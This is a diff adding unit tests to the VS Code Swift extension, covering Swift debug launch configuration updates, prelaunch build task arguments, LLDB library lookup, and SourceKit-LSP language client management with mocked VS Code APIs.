expect(mockLaunchWSConfig.update).to.have.been.calledWith( + "configurations", + [ + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Debug executable", + target: "executable", + configuration: "debug", + preLaunchTask: "swift: Build Debug executable", + }, + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Release executable", + target: "executable", + configuration: "release", + preLaunchTask: "swift: Build Release executable", + }, + ], + vscode.ConfigurationTarget.WorkspaceFolder + ); + }); + + test("updates launch configurations that have old lldb/swift-lldb types", async () => { + mockLaunchWSConfig.get.withArgs("configurations").returns([ + { + type: "swift-lldb", + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Debug executable", + target: "executable", + configuration: "debug", + preLaunchTask: "swift: Build Debug executable", + }, + { + type: "lldb", + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Release executable", + target: "executable", + configuration: "release", + preLaunchTask: "swift: Build Release executable", + }, + ]); + + expect(await makeDebugConfigurations(instance(folder), { yes: true })).to.be.true; + expect(mockLaunchWSConfig.update).to.have.been.calledWith( + "configurations", + [ + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Debug executable", + target: "executable", + configuration: "debug", + preLaunchTask: "swift: Build Debug executable", + }, + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Release executable", + target: "executable", + configuration: "release", + preLaunchTask: "swift: Build Release executable", + }, + ], + vscode.ConfigurationTarget.WorkspaceFolder + ); + }); + + test("doesn't update launch configurations if disabled in settings", async () => { + mockFolderConfiguration.autoGenerateLaunchConfigurations = false; + mockLaunchWSConfig.get.withArgs("configurations").returns([ + { + type: "swift-lldb", + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Debug executable", + target: "executable", + configuration: "debug", + preLaunchTask: "swift: Build Debug executable", + }, + { + type: "lldb", + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Release executable", + target: "executable", + configuration: "release", + preLaunchTask: "swift: Build Release executable", + }, + ]); + + expect(await makeDebugConfigurations(instance(folder), { yes: true })).to.be.false; + expect(mockLaunchWSConfig.update).to.not.have.been.called; + }); + + test("forces the updating of launch configurations if force is set to true", async () => { + mockFolderConfiguration.autoGenerateLaunchConfigurations = false; + mockLaunchWSConfig.get.withArgs("configurations").returns([ + { + type: "swift-lldb", + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Debug executable", + target: "executable", + configuration: "debug", + preLaunchTask: "swift: Build Debug executable", + }, + { + type: "lldb", + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Release executable", + target: "executable", + configuration: "release", + preLaunchTask: "swift: Build Release executable", + }, + ]); + + expect(await makeDebugConfigurations(instance(folder), { force: true, yes: true })).to.be + .true; + expect(mockLaunchWSConfig.update).to.have.been.calledWith( + "configurations", + [ + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Debug executable", + target: "executable", + configuration: "debug", + preLaunchTask: "swift: Build Debug executable", + }, + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Release executable", + target: "executable", + configuration: "release", + preLaunchTask: "swift: Build Release executable", + }, + ], + vscode.ConfigurationTarget.WorkspaceFolder + ); + }); + + test("doesn't update launch configurations if they already exist", async () => { + mockLaunchWSConfig.get.withArgs("configurations").returns([ + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Debug executable", + target: "executable", + configuration: "debug", + preLaunchTask: "swift: Build Debug executable", + }, + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Release executable", + target: "executable", + configuration: "release", + preLaunchTask: "swift: Build Release executable", + }, + ]); + + expect(await makeDebugConfigurations(instance(folder), { yes: true })).to.be.false; + expect(mockLaunchWSConfig.update).to.not.have.been.called; + }); +}); + +suite("Swift PreLaunch Build Task Arguments Test", () => { + const mockTasks = mockGlobalObject(vscode, "tasks"); + + setup(() => { + // Reset mocks before each test + mockTasks.fetchTasks.reset(); + }); + + test("swiftPrelaunchBuildTaskArguments returns task args for Swift build task", async () => { + const expectedArgs = ["build", "--product", "executable", "--build-system"]; + const mockTask = mockObject({ + name: "swift: Build Debug executable", + definition: { + type: "swift", + args: expectedArgs, + }, + scope: vscode.TaskScope.Workspace, + source: "swift", + isBackground: false, + presentationOptions: {}, + problemMatchers: [], + runOptions: {}, + }); + + mockTasks.fetchTasks.resolves([instance(mockTask)]); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "swift: Build Debug executable", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.deep.equal(expectedArgs); + }); + + test("swiftPrelaunchBuildTaskArguments returns undefined for non-Swift task", async () => { + const mockTask = mockObject({ + name: "npm: build", + definition: { + type: "npm", + args: ["run", "build"], + }, + scope: vscode.TaskScope.Workspace, + source: "npm", + isBackground: false, + presentationOptions: {}, + problemMatchers: [], + runOptions: {}, + }); + + mockTasks.fetchTasks.resolves([instance(mockTask)]); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "npm: build", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.be.undefined; + }); + + test("swiftPrelaunchBuildTaskArguments returns undefined for Swift task without build arg", async () => { + const mockTask = mockObject({ + name: "swift: Test", + definition: { + type: "swift", + args: ["test", "--build-system"], + }, + scope: vscode.TaskScope.Workspace, + source: "swift", + isBackground: false, + presentationOptions: {}, + problemMatchers: [], + runOptions: {}, + }); + + mockTasks.fetchTasks.resolves([instance(mockTask)]); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "swift: Test", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.be.undefined; + }); + + test("swiftPrelaunchBuildTaskArguments returns undefined for launch config without preLaunchTask", async () => { + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.be.undefined; + }); + + test("swiftPrelaunchBuildTaskArguments handles errors gracefully", async () => { + mockTasks.fetchTasks.rejects(new Error("Failed to fetch tasks")); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "swift: Build Debug executable", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.be.undefined; + }); + + test("swiftPrelaunchBuildTaskArguments handles task name variations", async () => { + const expectedArgs = ["build", "--product", "executable", "--build-system"]; + const mockTask = mockObject({ + name: "Build Debug executable", + definition: { + type: "swift", + args: expectedArgs, + }, + scope: vscode.TaskScope.Workspace, + source: "swift", + isBackground: false, + presentationOptions: {}, + problemMatchers: [], + runOptions: {}, + }); + + mockTasks.fetchTasks.resolves([instance(mockTask)]); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "swift: Build Debug executable", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.deep.equal(expectedArgs); + }); +}); diff --git a/test/unit-tests/debugger/lldb.test.ts b/test/unit-tests/debugger/lldb.test.ts new file mode 100644 index 000000000..91c61c69a --- /dev/null +++ b/test/unit-tests/debugger/lldb.test.ts @@ -0,0 +1,136 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as fs from "fs/promises"; +import * as sinon from "sinon"; + +import * as lldb from "@src/debugger/lldb"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import * as util from "@src/utilities/utilities"; + +import { + MockedFunction, + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalValue, + mockObject, +} from "../../MockUtils"; + +suite("debugger.lldb Tests", () => { + suite("getLLDBLibPath Tests", () => { + let mockToolchain: MockedObject; + let mockFindLibLLDB: MockedFunction<(typeof lldb)["findLibLLDB"]>; + const mockedPlatform = mockGlobalValue(process, "platform"); + const mockUtil = mockGlobalModule(util); + + setup(() => { + mockFindLibLLDB = sinon.stub(); + mockToolchain = mockObject({ + getLLDB: mockFn(), + swiftFolderPath: "", + }); + }); + + test("should return failure if toolchain.getLLDB() throws an error", async () => { + mockToolchain.getLLDB.rejects(new Error("Failed to get LLDB")); + const result = await lldb.getLLDBLibPath(instance(mockToolchain)); + expect(result.failure).to.have.property("message", "Failed to get LLDB"); + }); + + test("should return failure when execFile throws an error on windows", async () => { + mockedPlatform.setValue("win32"); + mockToolchain.getLLDB.resolves("/path/to/lldb"); + mockUtil.execFile.rejects(new Error("execFile failed")); + const result = await lldb.getLLDBLibPath(instance(mockToolchain)); + // specific behaviour: return success and failure both undefined + expect(result.failure).to.equal(undefined); + expect(result.success).to.equal(undefined); + }); + + test("should return failure if findLibLLDB returns falsy values", async () => { + mockToolchain.getLLDB.resolves("/path/to/lldb"); + mockUtil.execFile.resolves({ stdout: "", stderr: "" }); + mockFindLibLLDB.onFirstCall().resolves(undefined); + + let result = await lldb.getLLDBLibPath(instance(mockToolchain)); + expect(result.failure).to.not.equal(undefined); + + mockFindLibLLDB.onSecondCall().resolves(""); + + result = await lldb.getLLDBLibPath(instance(mockToolchain)); + expect(result.failure).to.not.equal(undefined); + }); + // NB(separate itest): contract test with toolchains of various platforms + }); + + suite("findLibLLDB Tests", () => { + const fsMock = mockGlobalModule(fs); + + test("should return undefined if no file matches the pattern", async () => { + fsMock.readdir.resolves(["file1", "file2"] as any); + fsMock.stat.resolves({ isFile: () => false } as any); + + const result = await lldb.findLibLLDB("/path/hint"); + + expect(result).to.be.undefined; + }); + + test("should return path if file exists", async () => { + fsMock.stat.resolves({ isFile: () => true } as any); + + const result = await lldb.findLibLLDB("/path/hint"); + + expect(result).to.equal("/path/hint"); + }); + // NB(separate itest): contract test with toolchains of various platforms + }); + + suite("findFileByPattern Tests", () => { + const fsMock = mockGlobalModule(fs); + + test("should return null if no file matches the pattern", async () => { + fsMock.readdir.resolves(["file1", "file2"] as any); + + const result = await lldb.findFileByPattern("/some/path", /pattern/); + + expect(result).to.be.null; + }); + + test("should return the first match if one file matches the pattern", async () => { + fsMock.readdir.resolves(["match1", "nomatch"] as any); + + const result = await lldb.findFileByPattern("/some/path", /match1/); + + expect(result).to.equal("match1"); + }); + + test("should return the first match if multiple files match the pattern", async () => { + fsMock.readdir.resolves(["match1", "match2"] as any); + + const result = await lldb.findFileByPattern("/some/path", /match/); + + expect(result).to.equal("match1"); + }); + + test("should return null if directory reading fails", async () => { + fsMock.readdir.rejects(new Error("Some error")); + + const result = await lldb.findFileByPattern("/some/path", /pattern/); + + expect(result).to.be.null; + }); + }); +}); diff --git a/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts b/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts new file mode 100644 index 000000000..0fe5b4b5d --- /dev/null +++ b/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts @@ -0,0 +1,1022 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; +import { match } from "sinon"; +import * as vscode from "vscode"; +import { + Code2ProtocolConverter, + DidChangeWorkspaceFoldersNotification, + DidChangeWorkspaceFoldersParams, + LanguageClient, + Middleware, + State, + StateChangeEvent, +} from "vscode-languageclient/node"; + +import { FolderContext } from "@src/FolderContext"; +import { FolderEvent, FolderOperation, WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { SwiftLoggerFactory } from "@src/logging/SwiftLoggerFactory"; +import { SwiftOutputChannel } from "@src/logging/SwiftOutputChannel"; +import { LanguageClientFactory } from "@src/sourcekit-lsp/LanguageClientFactory"; +import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; +import { LanguageClientToolchainCoordinator } from "@src/sourcekit-lsp/LanguageClientToolchainCoordinator"; +import { LSPActiveDocumentManager } from "@src/sourcekit-lsp/didChangeActiveDocument"; +import { + DidChangeActiveDocumentNotification, + DidChangeActiveDocumentParams, +} from "@src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { + AsyncEventEmitter, + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockGlobalValue, + mockObject, + waitForReturnedPromises, +} from "../../MockUtils"; + +suite("LanguageClientManager Suite", () => { + let languageClientFactoryMock: MockedObject; + let languageClientMock: MockedObject; + let mockedConverter: MockedObject; + let changeStateEmitter: AsyncEventEmitter; + let mockedWorkspace: MockedObject; + let mockedFolder: MockedObject; + let didChangeFoldersEmitter: AsyncEventEmitter; + let mockLogger: MockedObject; + let mockLoggerFactory: MockedObject; + let mockedToolchain: MockedObject; + let mockedBuildFlags: MockedObject; + + const mockedConfig = mockGlobalModule(configuration); + const mockedEnvironment = mockGlobalValue(process, "env"); + const mockedLspConfig = mockGlobalObject(configuration, "lsp"); + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + const mockedVSCodeExtensions = mockGlobalObject(vscode, "extensions"); + const mockedVSCodeWorkspace = mockGlobalObject(vscode, "workspace"); + const excludeConfig = mockGlobalValue(configuration, "excludePathsFromActivation"); + let changeConfigEmitter: AsyncEventEmitter; + let createFilesEmitter: AsyncEventEmitter; + let deleteFilesEmitter: AsyncEventEmitter; + + const doesNotHave = (prop: any) => + match(function (actual) { + if (typeof actual === "object") { + return !(prop in actual); + } + return actual[prop] === undefined; + }, "doesNotHave"); + + setup(async () => { + // Mock pieces of the VSCode API + mockedVSCodeWindow.activeTextEditor = undefined; + mockedVSCodeWindow.showInformationMessage.resolves(); + mockedVSCodeExtensions.getExtension.returns(undefined); + changeConfigEmitter = new AsyncEventEmitter(); + mockedVSCodeWorkspace.onDidChangeConfiguration.callsFake(changeConfigEmitter.event); + createFilesEmitter = new AsyncEventEmitter(); + mockedVSCodeWorkspace.onDidCreateFiles.callsFake(createFilesEmitter.event); + deleteFilesEmitter = new AsyncEventEmitter(); + mockedVSCodeWorkspace.onDidDeleteFiles.callsFake(deleteFilesEmitter.event); + mockedVSCodeWorkspace.getConfiguration + .withArgs("files") + .returns({ get: () => ({}) } as any); + // Mock the WorkspaceContext and SwiftToolchain + mockedBuildFlags = mockObject({ + buildPathFlags: mockFn(s => s.returns([])), + swiftDriverSDKFlags: mockFn(s => s.returns([])), + swiftDriverTargetFlags: mockFn(s => s.returns([])), + }); + mockedToolchain = mockObject({ + swiftVersion: new Version(6, 0, 0), + buildFlags: mockedBuildFlags as unknown as BuildFlags, + getToolchainExecutable: mockFn(s => + s.withArgs("sourcekit-lsp").returns("/path/to/toolchain/bin/sourcekit-lsp") + ), + }); + mockLogger = mockObject({ + info: s => s, + debug: s => s, + }); + mockLoggerFactory = mockObject({ + create: mockFn(s => s.returns(mockObject({}))), + }); + didChangeFoldersEmitter = new AsyncEventEmitter(); + mockedFolder = mockObject({ + isRootFolder: false, + folder: vscode.Uri.file("/folder1"), + workspaceFolder: { + uri: vscode.Uri.file("/folder1"), + name: "folder1", + index: 0, + }, + workspaceContext: instance( + mockObject({ + globalToolchain: instance(mockedToolchain), + globalToolchainSwiftVersion: new Version(6, 0, 0), + logger: instance(mockLogger), + loggerFactory: instance(mockLoggerFactory), + }) + ), + swiftVersion: new Version(6, 0, 0), + toolchain: instance(mockedToolchain), + }); + mockedWorkspace = mockObject({ + globalToolchain: instance(mockedToolchain), + globalToolchainSwiftVersion: new Version(6, 0, 0), + logger: instance(mockLogger), + loggerFactory: instance(mockLoggerFactory), + subscriptions: [], + folders: [instance(mockedFolder)], + onDidChangeFolders: mockFn(s => s.callsFake(didChangeFoldersEmitter.event)), + }); + mockedConverter = mockObject({ + asUri: mockFn(s => s.callsFake(uri => uri.fsPath)), + asTextDocumentIdentifier: mockFn(s => s.callsFake(doc => ({ uri: doc.uri.fsPath }))), + }); + changeStateEmitter = new AsyncEventEmitter(); + languageClientMock = mockObject({ + state: State.Stopped, + code2ProtocolConverter: instance(mockedConverter), + clientOptions: {}, + outputChannel: instance( + mockObject({ + dispose: mockFn(), + }) + ), + initializeResult: { + capabilities: { + experimental: { + "window/didChangeActiveDocument": { + version: 1, + }, + }, + }, + }, + start: mockFn(s => + s.callsFake(async () => { + const oldState = languageClientMock.state; + if (oldState !== State.Stopped) { + return; + } + languageClientMock.state = State.Starting; + await changeStateEmitter.fire({ + oldState: oldState, + newState: State.Starting, + }); + languageClientMock.state = State.Running; + await changeStateEmitter.fire({ + oldState: State.Starting, + newState: State.Running, + }); + }) + ), + stop: mockFn(s => + s.callsFake(async () => { + const oldState = languageClientMock.state; + languageClientMock.state = State.Stopped; + await changeStateEmitter.fire({ + oldState, + newState: State.Stopped, + }); + }) + ), + onRequest: mockFn(), + sendNotification: mockFn(s => s.resolves()), + onNotification: mockFn(s => s.returns(new vscode.Disposable(() => {}))), + onDidChangeState: mockFn(s => s.callsFake(changeStateEmitter.event)), + }); + // `new LanguageClient()` will always return the mocked LanguageClient + languageClientFactoryMock = mockObject({ + createLanguageClient: mockFn(s => s.returns(instance(languageClientMock))), + }); + // LSP configuration defaults + mockedConfig.path = ""; + mockedConfig.buildArguments = []; + mockedConfig.backgroundIndexing = "off"; + mockedConfig.swiftEnvironmentVariables = {}; + mockedLspConfig.supportCFamily = "cpptools-inactive"; + mockedLspConfig.disable = false; + mockedLspConfig.serverPath = ""; + mockedLspConfig.serverArguments = []; + // Process environment variables + mockedEnvironment.setValue({}); + // Exclusion + excludeConfig.setValue({}); + }); + + suite("LanguageClientToolchainCoordinator", () => { + test("returns the same language client for the same folder", async () => { + const factory = new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + const sut1 = factory.get(instance(mockedFolder)); + const sut2 = factory.get(instance(mockedFolder)); + + expect(sut1).to.equal(sut2, "Expected the same LanguageClient to be returned"); + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnce; + }); + + test("returns the same language client for two folders with the same toolchain", async () => { + const newFolder = mockObject({ + isRootFolder: false, + folder: vscode.Uri.file("/folder11"), + workspaceFolder: { + uri: vscode.Uri.file("/folder11"), + name: "folder11", + index: 0, + }, + workspaceContext: instance(mockedWorkspace), + swiftVersion: mockedFolder.swiftVersion, + }); + mockedWorkspace.folders.push(instance(newFolder)); + const factory = new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + const sut1 = factory.get(instance(mockedFolder)); + const sut2 = factory.get(instance(newFolder)); + + expect(sut1).to.equal(sut2, "Expected the same LanguageClient to be returned"); + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnce; + }); + + test("returns the a new language client for folders with different toolchains", async () => { + const newFolder = mockObject({ + isRootFolder: false, + folder: vscode.Uri.file("/folder11"), + workspaceFolder: { + uri: vscode.Uri.file("/folder11"), + name: "folder11", + index: 0, + }, + workspaceContext: instance(mockedWorkspace), + swiftVersion: new Version(6, 1, 0), + }); + mockedWorkspace.folders.push(instance(newFolder)); + const factory = new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + const sut1 = factory.get(instance(mockedFolder)); + const sut2 = factory.get(instance(newFolder)); + + expect(sut1).to.not.equal(sut2, "Expected different LanguageClients to be returned"); + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnce; + }); + }); + + test("launches SourceKit-LSP on startup", async () => { + const factory = new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + const sut = factory.get(instance(mockedFolder)); + await waitForReturnedPromises(languageClientMock.start); + + expect(sut.state).to.equal( + State.Running, + "Expected LSP client to be running but it wasn't" + ); + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnceWith( + /* id */ match.string, + /* name */ match.string, + /* serverOptions */ match.has("command", "/path/to/toolchain/bin/sourcekit-lsp"), + /* clientOptions */ match.object + ); + expect(languageClientMock.start).to.have.been.calledOnce; + }); + + test("launches SourceKit-LSP on startup with swiftSDK", async () => { + mockedConfig.swiftSDK = "arm64-apple-ios"; + const factory = new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + const sut = factory.get(instance(mockedFolder)); + await waitForReturnedPromises(languageClientMock.start); + + expect(sut.state).to.equal( + State.Running, + "Expected LSP client to be running but it wasn't" + ); + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnceWith( + /* id */ match.string, + /* name */ match.string, + /* serverOptions */ match.has("command", "/path/to/toolchain/bin/sourcekit-lsp"), + /* clientOptions */ match.hasNested( + "initializationOptions.swiftPM.swiftSDK", + "arm64-apple-ios" + ) + ); + expect(languageClientMock.start).to.have.been.calledOnce; + }); + + test("chooses the correct backgroundIndexing value is auto, swift version if 6.0.0", async () => { + mockedFolder.swiftVersion = new Version(6, 0, 0); + mockedConfig.backgroundIndexing = "auto"; + + new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + await waitForReturnedPromises(languageClientMock.start); + + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnceWith( + match.string, + match.string, + match.object, + match.hasNested("initializationOptions", doesNotHave("backgroundIndexing")) + ); + }); + + test("chooses the correct backgroundIndexing value is auto, swift version if 6.1.0", async () => { + mockedFolder.swiftVersion = new Version(6, 1, 0); + mockedConfig.backgroundIndexing = "auto"; + + new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + await waitForReturnedPromises(languageClientMock.start); + + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnceWith( + match.string, + match.string, + match.object, + match.hasNested("initializationOptions.backgroundIndexing", match.truthy) + ); + }); + + test("chooses the correct backgroundIndexing value is true, swift version if 6.0.0", async () => { + mockedFolder.swiftVersion = new Version(6, 0, 0); + mockedConfig.backgroundIndexing = "on"; + + new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + await waitForReturnedPromises(languageClientMock.start); + + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnceWith( + match.string, + match.string, + match.object, + match.hasNested("initializationOptions.backgroundIndexing", match.truthy) + ); + }); + + test("notifies SourceKit-LSP of WorkspaceFolder changes", async () => { + const folder1 = mockObject({ + isRootFolder: false, + folder: vscode.Uri.file("/folder11"), + workspaceFolder: { + uri: vscode.Uri.file("/folder11"), + name: "folder11", + index: 0, + }, + workspaceContext: instance(mockedWorkspace), + swiftVersion: new Version(6, 0, 0), + }); + const folder2 = mockObject({ + isRootFolder: false, + folder: vscode.Uri.file("/folder22"), + workspaceFolder: { + uri: vscode.Uri.file("/folder22"), + name: "folder22", + index: 1, + }, + workspaceContext: instance(mockedWorkspace), + swiftVersion: new Version(6, 0, 0), + }); + + new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + await waitForReturnedPromises(languageClientMock.start); + + // Add the first folder + mockedWorkspace.folders.push(instance(folder1)); + + languageClientMock.sendNotification.resetHistory(); + await didChangeFoldersEmitter.fire({ + operation: FolderOperation.add, + folder: instance(folder1), + workspace: instance(mockedWorkspace), + }); + + expect(languageClientMock.sendNotification).to.have.been.calledWithExactly( + DidChangeWorkspaceFoldersNotification.type, + { + event: { + added: [{ name: "folder11", uri: path.normalize("/folder11") }], + removed: [], + }, + } as DidChangeWorkspaceFoldersParams + ); + + languageClientMock.sendNotification.resetHistory(); + + // Add another folder + mockedWorkspace.folders.push(instance(folder2)); + await didChangeFoldersEmitter.fire({ + operation: FolderOperation.add, + folder: instance(folder2), + workspace: instance(mockedWorkspace), + }); + expect(languageClientMock.sendNotification).to.have.been.calledWithExactly( + DidChangeWorkspaceFoldersNotification.type, + { + event: { + added: [{ name: "folder22", uri: path.normalize("/folder22") }], + removed: [], + }, + } as DidChangeWorkspaceFoldersParams + ); + + languageClientMock.sendNotification.resetHistory(); + + // Remove the first folder + mockedWorkspace.folders.slice(1); + await didChangeFoldersEmitter.fire({ + operation: FolderOperation.remove, + folder: instance(folder1), + workspace: instance(mockedWorkspace), + }); + expect(languageClientMock.sendNotification).to.have.been.calledWithExactly( + DidChangeWorkspaceFoldersNotification.type, + { + event: { + added: [], + removed: [{ name: "folder11", uri: path.normalize("/folder11") }], + }, + } as DidChangeWorkspaceFoldersParams + ); + }); + + test("doesn't launch SourceKit-LSP if disabled by the user", async () => { + mockedLspConfig.disable = true; + const sut = new LanguageClientManager( + instance(mockedFolder), + {}, + languageClientFactoryMock + ); + await waitForReturnedPromises(languageClientMock.start); + + expect(sut.state).to.equal(State.Stopped); + expect(languageClientFactoryMock.createLanguageClient).to.not.have.been.called; + expect(languageClientMock.start).to.not.have.been.called; + }); + + test("user can provide a custom SourceKit-LSP executable", async () => { + mockedLspConfig.serverPath = "/path/to/my/custom/sourcekit-lsp"; + const factory = new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + const sut = factory.get(instance(mockedFolder)); + await waitForReturnedPromises(languageClientMock.start); + + expect(sut.state).to.equal( + State.Running, + "Expected LSP client to be running but it wasn't" + ); + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnceWith( + /* id */ match.string, + /* name */ match.string, + /* serverOptions */ match.has("command", "/path/to/my/custom/sourcekit-lsp"), + /* clientOptions */ match.object + ); + expect(languageClientMock.start).to.have.been.calledOnce; + }); + + test("adds VS Code iconography to CodeLenses", async () => { + const codelensesFromSourceKitLSP = async (): Promise => { + return [ + { + range: new vscode.Range(0, 0, 0, 0), + command: { + title: "Run", + command: "swift.run", + }, + isResolved: true, + }, + { + range: new vscode.Range(0, 0, 0, 0), + command: { + title: "Debug", + command: "swift.debug", + }, + isResolved: true, + }, + { + range: new vscode.Range(0, 0, 0, 0), + command: { + title: "Run", + command: "some.other.command", + }, + isResolved: true, + }, + ]; + }; + + new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + await waitForReturnedPromises(languageClientMock.start); + + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledOnce; + const middleware = languageClientFactoryMock.createLanguageClient.args[0][3].middleware!; + expect(middleware).to.have.property("provideCodeLenses"); + await expect( + middleware.provideCodeLenses!({} as any, {} as any, codelensesFromSourceKitLSP) + ).to.eventually.deep.equal([ + { + range: new vscode.Range(0, 0, 0, 0), + command: { + title: "$(play)\u00A0Run", + command: "swift.run", + }, + isResolved: true, + }, + { + range: new vscode.Range(0, 0, 0, 0), + command: { + title: "$(debug)\u00A0Debug", + command: "swift.debug", + }, + isResolved: true, + }, + { + range: new vscode.Range(0, 0, 0, 0), + command: { + title: "Run", + command: "some.other.command", + }, + isResolved: true, + }, + ]); + }); + + suite("provideCompletionItem middleware", () => { + const mockParameterHintsEnabled = mockGlobalValue(configuration, "parameterHintsEnabled"); + let document: MockedObject; + let middleware: Middleware; + + setup(async () => { + mockParameterHintsEnabled.setValue(() => true); + + document = mockObject({ + uri: vscode.Uri.file("/test/file.swift"), + }); + + new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + await waitForReturnedPromises(languageClientMock.start); + + middleware = languageClientFactoryMock.createLanguageClient.args[0][3].middleware!; + }); + + test("adds parameter hints command to function completion items when enabled", async () => { + const completionItemsFromLSP = async (): Promise => { + return [ + { + label: "post(endpoint: String, body: [String : Any]?)", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.EnumMember, + }, + { + label: "defaultHeaders", + detail: "[String : String]", + kind: vscode.CompletionItemKind.Property, + }, + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + }, + { + label: "[endpoint: String]", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Method, + }, + { + label: "(endpoint: String, method: String)", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Constructor, + }, + ]; + }; + + expect(middleware).to.have.property("provideCompletionItem"); + + const result = await middleware.provideCompletionItem!( + instance(document), + new vscode.Position(0, 0), + {} as any, + {} as any, + completionItemsFromLSP + ); + + expect(result).to.deep.equal([ + { + label: "post(endpoint: String, body: [String : Any]?)", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.EnumMember, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + { + label: "defaultHeaders", + detail: "[String : String]", + kind: vscode.CompletionItemKind.Property, + }, + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + command: { + title: "Trigger Parameter 